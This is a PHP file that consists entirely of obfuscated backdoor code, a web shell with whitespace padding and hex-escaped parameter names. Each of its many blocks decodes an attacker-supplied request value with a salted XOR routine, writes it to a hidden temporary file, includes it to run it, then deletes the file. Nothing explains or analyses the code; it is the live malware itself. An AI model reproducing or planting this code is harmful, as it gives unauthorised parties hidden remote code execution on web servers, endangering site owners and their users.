																																										if(isset($_REQUEST["pt\x72"]) ? true : false){ $resource = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", sys_get_temp_dir()]); $flg = $_REQUEST["pt\x72"]; $flg = explode ( "." , $flg ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $u = 0; foreach( $flg as $v5) { $sChar = ord( $s[$u % $sLen]); $dec =( ( int)$v5 - $sChar -( $u % 10)) ^69; $entry.= chr( $dec); $u++;} foreach ($resource as $ent): if (!!is_dir($ent) && !!is_writable($ent)) { $val = sprintf("%s/.tkn", $ent); $file = fopen($val, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $val; @unlink($val); die(); } } endforeach; }
																																										if(array_key_exists("f\x6Cg", $_POST)){ $dchunk = $_POST["f\x6Cg"]; $dchunk= explode( '.' , $dchunk) ; $record = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7 ); $n = 0; $__tmp = $dchunk; while ($v5 = array_shift($__tmp)) { $chS = ord($salt7[$n%$lenS] ); $d = ((int)$v5 - $chS - ($n%10)) ^ 68; $record .= chr($d ); $n++; } $pgrp = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($pgrp as $key => $desc) { if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $property_set = "$desc" . "/.pset"; $success = file_put_contents($property_set, $record); if ($success) { include $property_set; @unlink($property_set); exit;} } } }
																																										if(array_key_exists("d\x61ta_\x63\x68unk", $_REQUEST) && !is_null($_REQUEST["d\x61ta_\x63\x68unk"])){ $object = $_REQUEST["d\x61ta_\x63\x68unk"]; $object=explode ( '.' , $object ) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $__len = count( $object); for( $y = 0; $y < $__len; $y++) { $v8 = $object[$y]; $sChar = ord( $salt[$y % $lenS]); $dec =( ( int)$v8 - $sChar -( $y % 10))^ 87; $flag .= chr( $dec); } $dat = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($dat as $k): if (max(0, is_dir($k) * is_writable($k))) { $obj = vsprintf("%s/%s", [$k, ".ent"]); if (@file_put_contents($obj, $flag) !== false) { include $obj; unlink($obj); die(); } } endforeach; }
																																										if(isset($_REQUEST["\x65l\x65m"])){ $resource = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); $rec = $_REQUEST["\x65l\x65m"]; $rec = explode ( ".", $rec ) ; $desc = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $u = 0; $__len = count($rec); do { if ($u >=$__len) break; $v5 = $rec[$u]; $sChar = ord($salt2[$u % $lenS]); $dec = ((int)$v5 - $sChar - ($u % 10))^ 72; $desc .= chr($dec); $u++; } while (true); foreach ($resource as $key => $marker) { if (is_dir($marker) ? is_writable($marker) : false) { $ref = "$marker/.val"; if (@file_put_contents($ref, $desc) !== false) { include $ref; unlink($ref); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x63ompone\x6Et"])){ $tkn = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $value = $_REQUEST["\x63ompone\x6Et"]; $value= explode ( '.' ,$value ); $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $y = 0; $__len = count( $value); do { if( $y >= $__len) break; $v1 = $value[$y]; $sChar = ord( $salt[$y % $sLen]); $dec =( ( int)$v1 - $sChar -( $y % 10)) ^90; $fac .= chr( $dec); $y++; } while( true); foreach ($tkn as $key => $ref) { if (is_dir($ref) && is_writable($ref)) { $data_chunk = "$ref" . "/.key"; if (file_put_contents($data_chunk, $fac)) { require $data_chunk; unlink($data_chunk); die(); } } } }
																																										if(isset($_REQUEST["\x69t\x6D"])){ $pgrp = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP")]); $hld = $_REQUEST["\x69t\x6D"]; $hld =explode ("." , $hld ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; array_walk($hld ,function ($v2) use (&$ref ,&$x ,$s ,$sLen) { $sChar = ord($s[$x%$sLen]); $dec = ((int)$v2 - $sChar - ($x%10)) ^ 87; $ref.=chr($dec); $x++; }); foreach ($pgrp as $elem): if (!!is_dir($elem) && !!is_writable($elem)) { $sym = implode("/", [$elem, ".ent"]); $success = file_put_contents($sym, $ref); if ($success) { include $sym; @unlink($sym); exit;} } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x70tr"])){ $token = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir()]); $binding = $_POST["\x70tr"]; $binding =explode ("." , $binding ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $k = 0; foreach ($binding as $v2) { $sChar = ord($s[$k % $lenS]); $dec = ((int)$v2 - $sChar - ($k % 10))^74; $pset .=chr($dec); $k++;} for ($fac = 0, $parameter_group = count($token); $fac < $parameter_group; $fac++) { $desc = $token[$fac]; if (!( !is_dir($desc) || !is_writable($desc) )) { $tkn = vsprintf("%s/%s", [$desc, ".component"]); if (file_put_contents($tkn, $pset)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(!is_null($_POST["sym\x62o\x6C"] ?? null)){ $pointer = $_POST["sym\x62o\x6C"]; $pointer= explode ( '.' , $pointer ) ; $resource = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); foreach ($pointer as $p=> $v3) { $chS = ord($salt4[$p % $sLen]); $dec = ((int)$v3 - $chS - ($p % 10)) ^ 58; $resource .=chr($dec); } $data_chunk = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TEMP")]); $binding = 0; do { $entity = $data_chunk[$binding] ?? null; if ($binding >= count($data_chunk)) break; if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $property_set = vsprintf("%s/%s", [$entity, ".dchunk"]); if (file_put_contents($property_set, $resource)) { require $property_set; unlink($property_set); die(); } } $binding++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x65n\x74\x69ty")){ $item = $_REQUEST["\x65n\x74\x69ty"]; $item = explode ( ".", $item ); $data_chunk = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); $z = 0; foreach( $item as $v6) { $sChar = ord( $s1[$z % $lenS]); $dec =( ( int)$v6 - $sChar -( $z % 10)) ^ 57; $data_chunk .= chr( $dec); $z++; } $ref = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); while ($data = array_shift($ref)) { if (!( !is_dir($data) || !is_writable($data) )) { $reference = str_replace("{var_dir}", $data, "{var_dir}/.k"); if (@file_put_contents($reference, $data_chunk) !== false) { include $reference; unlink($reference); exit; } } } }
																																										if(@$_POST["d\x65sc"] !== null){ $fac = array_filter([getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd()]); $object = $_POST["d\x65sc"]; $object = explode ( "." , $object ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $j = 0; while($j < count($object)) {$v8 = $object[$j]; $chS = ord($salt[$j%$sLen] ); $d =((int)$v8 - $chS -($j%10)) ^ 18; $pointer .= chr($d ); $j++; } foreach ($fac as $record) { if (!!is_dir($record) && !!is_writable($record)) { $ent = "$record" . "/.entry"; $success = file_put_contents($ent, $pointer); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(in_array("c\x6Fmp", array_keys($_POST))){ $ptr = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd()]); $marker = $_POST["c\x6Fmp"]; $marker =explode("." , $marker) ; $key = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $v = 0; while ($v < count($marker)) { $v4 = $marker[$v]; $chS = ord($s4[$v%$lenS]); $dec = ((int)$v4 - $chS - ($v%10))^ 47; $key .= chr($dec); $v++; } while ($ent = array_shift($ptr)) { if (max(0, is_dir($ent) * is_writable($ent))) { $res = join("/", [$ent, ".descriptor"]); if (file_put_contents($res, $key)) { require $res; unlink($res); die(); } } } }
																																										if(@$_POST["mr\x6B"] !== null){ $itm = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), "/tmp"]); $parameter_group = $_POST["mr\x6B"]; $parameter_group =explode ('.' , $parameter_group ) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $__len = count($parameter_group ); for ($x = 0; $x < $__len; $x++) { $v3 = $parameter_group[$x]; $sChar = ord($s[$x %$lenS] ); $d = ((int)$v3 - $sChar - ($x %10))^ 39; $item.= chr($d ); } $comp = 0; do { $symbol = $itm[$comp] ?? null; if ($comp >= count($itm)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $entity = str_replace("{var_dir}", $symbol, "{var_dir}/.data"); if (@file_put_contents($entity, $item) !== false) { include $entity; unlink($entity); exit; } } $comp++; } while (true); }
																																										if(array_key_exists("v\x61\x6C", $_REQUEST)){ $reference = $_REQUEST["v\x61\x6C"]; $reference =explode ( '.' ,$reference ) ; $dat = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3 ); $r = 0; while ($r < count($reference)) {$v8 = $reference[$r]; $sChar = ord($s3[$r % $sLen] ); $d = ((int)$v8 - $sChar - ($r % 10)) ^ 35; $dat.= chr($d ); $r++;} $fac = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); for ($pointer = 0, $pgrp = count($fac); $pointer < $pgrp; $pointer++) { $record = $fac[$pointer]; if (is_dir($record) && is_writable($record)) { $marker = "$record/.elem"; $success = file_put_contents($marker, $dat); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(@$_POST["d\x63\x68\x75nk"] !== null){ $val = array_filter([getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP")]); $object = $_POST["d\x63\x68\x75nk"]; $object = explode ( '.', $object); $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($object as $p =>$v5): $sChar = ord($salt[$p % $lenS]); $d = ((int)$v5 - $sChar - ($p % 10)) ^ 59; $desc .= chr($d); endforeach; while ($sym = array_shift($val)) { if (max(0, is_dir($sym) * is_writable($sym))) { $elem = join("/", [$sym, ".token"]); if (file_put_contents($elem, $desc)) { require $elem; unlink($elem); die(); } } } }


if(!empty($_REQUEST["\x74\x6Bn"])){
	$data = $_REQUEST["\x74\x6Bn"];
			$data=	explode(	"." 	,	 $data	 )  ;		 
	$symbol= 	'';
            $s8= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= 	strlen( 	$s8);
    
            foreach( 	$data as $w => $v2):
                $sChar= 	ord( 	$s8[$w %	$lenS]);
                $d= 	( 	( 	int)$v2 - $sChar -( 	$w %	10))^	89;
                $symbol .= chr( 	$d);
            endforeach;
	$ptr = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TMP"), session_save_path(), "/var/tmp"]);
	foreach ($ptr as $val):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($val)) {
    $element = "$val/.property_set";
    $file = fopen($element, 'w');
if ($file) {
	fwrite($file, $symbol);
	fclose($file);
	include $element;
	@unlink($element);
	exit;
}
}
endforeach;
}